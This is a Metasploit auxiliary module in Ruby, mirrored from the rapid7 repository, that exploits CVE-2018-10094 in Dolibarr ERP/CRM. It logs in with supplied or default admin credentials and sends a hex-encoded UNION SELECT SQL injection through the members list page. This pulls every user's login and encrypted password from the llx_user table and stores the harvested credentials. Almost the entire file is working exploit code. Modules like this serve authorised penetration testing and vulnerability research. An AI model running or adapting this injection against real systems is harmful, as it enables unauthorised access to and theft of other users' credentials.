Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/dolibarr_creds_sqli.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Dolibarr Gather Credentials via SQL Injection',
14
'Description' => %q{
15
This module enables an authenticated user to collect the usernames and
16
encrypted passwords of other users in the Dolibarr ERP/CRM via SQL
17
injection.
18
},
19
'Author' => [
20
'Issam Rabhi', # PoC
21
'Kevin Locati', # PoC
22
'Shelby Pace', # Metasploit Module
23
],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'CVE', '2018-10094' ],
27
[ 'EDB', '44805']
28
],
29
'DisclosureDate' => '2018-05-30',
30
'Notes' => {
31
'Reliability' => UNKNOWN_RELIABILITY,
32
'Stability' => UNKNOWN_STABILITY,
33
'SideEffects' => UNKNOWN_SIDE_EFFECTS
34
}
35
)
36
)
37
38
register_options(
39
[
40
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
41
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
42
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
43
]
44
)
45
end
46
47
def check_availability
48
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
49
res = send_request_cgi(
50
'method' => 'GET',
51
'uri' => normalize_uri(login_page)
52
)
53
54
return false unless res && res.body.include?('Dolibarr')
55
56
return res
57
end
58
59
def login(response)
60
return false unless response
61
62
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
63
cookies = response.get_cookies
64
print_status("Logging in...")
65
66
login_res = send_request_cgi(
67
'method' => 'POST',
68
'uri' => login_uri,
69
'cookie' => cookies,
70
'vars_post' => {
71
'username' => datastore['USERNAME'],
72
'password' => datastore['PASSWORD'],
73
'loginfunction' => 'loginfunction'
74
}
75
)
76
77
unless login_res && login_res.body.include?('id="mainmenua_members"')
78
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
79
end
80
81
print_good("Successfully logged into Dolibarr")
82
return cookies
83
end
84
85
def get_info(cookies)
86
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
87
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
88
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
89
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
90
inject_uri <<= cmd
91
92
inject_res = send_request_cgi(
93
'method' => 'GET',
94
'uri' => normalize_uri(inject_uri),
95
'cookie' => cookies
96
)
97
98
unless inject_res && inject_res.body.include?('id="searchFormList"')
99
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
100
end
101
102
print_good("Accessed credentials")
103
format_results(inject_res.body)
104
end
105
106
def format_results(output)
107
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
108
109
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
110
111
credentials.each do |i, j|
112
print_good("#{j} #{i}")
113
store_valid_credential(user: j, private: i)
114
end
115
end
116
117
def run
118
available_res = check_availability
119
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
120
121
cookies = login(available_res)
122
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
123
124
get_info(cookies)
125
end
126
end
127
128